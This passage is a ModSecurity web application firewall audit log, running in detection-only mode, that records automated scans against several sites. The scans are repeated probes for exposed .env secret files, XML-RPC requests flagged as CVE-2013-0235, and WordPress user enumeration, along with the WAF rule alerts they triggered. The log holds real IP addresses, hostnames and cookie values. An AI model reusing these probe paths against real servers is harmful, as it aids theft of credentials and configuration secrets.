Jun 2025 02:40:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --84839941-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/magento/.env"] [unique_id "aE92Bfv_9qNKLXJRkuZffQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038021000933 669705 (- - -) Stopwatch2: 1750038021000933 669705; combined=2503, p1=523, p2=1873, p3=0, p4=0, p5=106, sr=138, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --84839941-Z-- --a9930e3e-A-- [16/Jun/2025:07:10:29.956519 +0530] aE92Dfbo0R64L12N_aldeQAAAAQ 128.199.112.101 46042 127.0.0.1 7081 --a9930e3e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 501 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --a9930e3e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --a9930e3e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE92Dfbo0R64L12N_aldeQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038029015590 940985 (- - -) Stopwatch2: 1750038029015590 940985; combined=2825, p1=469, p2=1904, p3=45, p4=65, p5=203, sr=125, sw=139, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a9930e3e-Z-- --34050479-A-- [16/Jun/2025:07:10:51.603118 +0530] aE92Ivv_9qNKLXJRkuZfjgAAAAs 13.234.226.227 55394 127.0.0.1 7081 --34050479-B-- GET //wp-json/wp/v2/users/ HTTP/1.0 Host: www.csquaretech.com X-Real-IP: 13.234.226.227 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 --34050479-F-- HTTP/1.1 401 Unauthorized X-Powered-By: PHP/8.2.28 X-Robots-Tag: noindex Link: <https://www.csquaretech.com/wp-json/>; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type Allow: GET Vary: Origin Connection: close Content-Type: application/json; charset=UTF-8 --34050479-H-- Message: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.csquaretech.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/etc/apache2/modsecurity.d/rules/comodo_free/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||www.csquaretech.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "www.csquaretech.com"] [uri "/wp-json/wp/v2/users/"] [unique_id "aE92Ivv_9qNKLXJRkuZfjgAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/csquaretech.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038050657250 945981 (- - -) Stopwatch2: 1750038050657250 945981; combined=1686, p1=340, p2=1238, p3=0, p4=0, p5=108, sr=100, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --34050479-Z-- --f4ae8855-A-- [16/Jun/2025:07:11:25.647714 +0530] aE92RPv_9qNKLXJRkuZfowAAAAs 185.177.72.210 56462 127.0.0.1 7081 --f4ae8855-B-- GET /:8888/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f4ae8855-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=42b256b220f8b0bc938aa4ef987c7f1f1750038085; expires=Mon, 16 Jun 2025 02:41:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f4ae8855-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/backend/.env"] [unique_id "aE92RPv_9qNKLXJRkuZfowAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038084892344 755469 (- - -) Stopwatch2: 1750038084892344 755469; combined=1864, p1=372, p2=1370, p3=0, p4=0, p5=121, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f4ae8855-Z-- --69e0c55a-A-- [16/Jun/2025:07:11:30.647307 +0530] aE92STZ3uHeEW3BYvDO7cQAAAAA 128.199.112.101 33848 127.0.0.1 7081 --69e0c55a-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --69e0c55a-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --69e0c55a-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE92STZ3uHeEW3BYvDO7cQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038089694449 952913 (- - -) Stopwatch2: 1750038089694449 952913; combined=2293, p1=344, p2=1558, p3=43, p4=66, p5=176, sr=93, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --69e0c55a-Z-- --e7730420-A-- [16/Jun/2025:07:11:44.733420 +0530] aE92WPvF1ly0gx5reNmDKAAAAAE 185.177.72.210 54906 127.0.0.1 7081 --e7730420-B-- GET /services/adminer/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e7730420-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a6bff498ca0a4da5ff2ce34b600c009c1750038104; expires=Mon, 16 Jun 2025 02:41:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e7730420-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/services/adminer/.env"] [unique_id "aE92WPvF1ly0gx5reNmDKAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038104075286 658198 (- - -) Stopwatch2: 1750038104075286 658198; combined=1780, p1=371, p2=1308, p3=0, p4=0, p5=100, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e7730420-Z-- --a36e126a-A-- [16/Jun/2025:07:11:47.353205 +0530] aE92WuMjvy_LHXlMeRATzQAAAAU 185.177.72.210 55024 127.0.0.1 7081 --a36e126a-B-- GET /:8181/backend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a36e126a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bd5beca4f8e0347a1da384d6b11e125d1750038107; expires=Mon, 16 Jun 2025 02:41:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a36e126a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/backend/.env"] [unique_id "aE92WuMjvy_LHXlMeRATzQAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038106690938 662342 (- - -) Stopwatch2: 1750038106690938 662342; combined=1986, p1=437, p2=1442, p3=0, p4=0, p5=107, sr=118, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a36e126a-Z-- --7886b34c-A-- [16/Jun/2025:07:11:52.532084 +0530] aE92X_bo0R64L12N_aldpgAAAAQ 185.177.72.210 43964 127.0.0.1 7081 --7886b34c-B-- GET /:8880/environments/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7886b34c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=eec0d4ca4d0c693e63b2c6ffac73dff41750038112; expires=Mon, 16 Jun 2025 02:41:52 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7886b34c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/environments/.env"] [unique_id "aE92X_bo0R64L12N_aldpgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038111869973 662175 (- - -) Stopwatch2: 1750038111869973 662175; combined=1917, p1=410, p2=1413, p3=0, p4=0, p5=93, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7886b34c-Z-- --cada8557-A-- [16/Jun/2025:07:11:58.413190 +0530] aE92ZeMjvy_LHXlMeRAT2wAAAAU 185.177.72.210 44754 127.0.0.1 7081 --cada8557-B-- GET /:8880/backup/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cada8557-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=aea790f6b6b7296fb39148db90bb0ab51750038118; expires=Mon, 16 Jun 2025 02:41:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cada8557-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/backup/.env"] [unique_id "aE92ZeMjvy_LHXlMeRAT2wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038117723964 689304 (- - -) Stopwatch2: 1750038117723964 689304; combined=1837, p1=421, p2=1338, p3=0, p4=0, p5=78, sr=106, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cada8557-Z-- --4b099e7c-A-- [16/Jun/2025:07:12:30.912839 +0530] aE92hehCUAahT1nBjTYPlwAAAAM 128.199.112.101 51848 127.0.0.1 7081 --4b099e7c-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 489 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --4b099e7c-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --4b099e7c-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE92hehCUAahT1nBjTYPlwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038149976575 936320 (- - -) Stopwatch2: 1750038149976575 936320; combined=2685, p1=409, p2=1898, p3=42, p4=62, p5=170, sr=111, sw=104, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4b099e7c-Z-- --2ee6c251-A-- [16/Jun/2025:07:12:59.615464 +0530] aE92ovv_9qNKLXJRkuZf2AAAAAs 185.177.72.210 33912 127.0.0.1 7081 --2ee6c251-B-- GET /:8008/www/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2ee6c251-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=57d03c06b9814cf0fdd77e536947fea71750038179; expires=Mon, 16 Jun 2025 02:42:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2ee6c251-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/www/.env"] [unique_id "aE92ovv_9qNKLXJRkuZf2AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038178925672 689872 (- - -) Stopwatch2: 1750038178925672 689872; combined=1686, p1=359, p2=1214, p3=0, p4=0, p5=113, sr=81, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2ee6c251-Z-- --5b6e2930-A-- [16/Jun/2025:07:13:00.624758 +0530] aE92o-Mjvy_LHXlMeRAT_AAAAAU 185.177.72.210 35198 127.0.0.1 7081 --5b6e2930-B-- GET /:5000/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b6e2930-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=61a6778f7c95240fd998b94654fb240d1750038180; expires=Mon, 16 Jun 2025 02:43:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b6e2930-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/statisch/.env"] [unique_id "aE92o-Mjvy_LHXlMeRAT_AAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038179935681 689139 (- - -) Stopwatch2: 1750038179935681 689139; combined=1699, p1=362, p2=1247, p3=0, p4=0, p5=89, sr=92, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b6e2930-Z-- --0a941a21-A-- [16/Jun/2025:07:13:05.187025 +0530] aE92qAS4XDlCv3KXioQGhQAAAAY 185.177.72.210 35454 127.0.0.1 7081 --0a941a21-B-- GET /:8181/.env.3 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a941a21-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d8841ac26b0f150d00167917d1c0b54f1750038185; expires=Mon, 16 Jun 2025 02:43:05 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a941a21-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.3"] [unique_id "aE92qAS4XDlCv3KXioQGhQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038184482435 704671 (- - -) Stopwatch2: 1750038184482435 704671; combined=2092, p1=400, p2=1566, p3=0, p4=0, p5=125, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a941a21-Z-- --4e547f6a-A-- [16/Jun/2025:07:13:13.140170 +0530] aE92sOhCUAahT1nBjTYPrgAAAAM 185.177.72.210 50972 127.0.0.1 7081 --4e547f6a-B-- GET /packages/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4e547f6a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47e49645275b8eb09837ebac29ab35bc1750038192; expires=Mon, 16 Jun 2025 02:43:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4e547f6a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/app/.env"] [unique_id "aE92sOhCUAahT1nBjTYPrgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038192415782 724482 (- - -) Stopwatch2: 1750038192415782 724482; combined=2201, p1=450, p2=1621, p3=0, p4=0, p5=129, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4e547f6a-Z-- --6394d72b-A-- [16/Jun/2025:07:13:19.187911 +0530] aE92tuhCUAahT1nBjTYPsAAAAAM 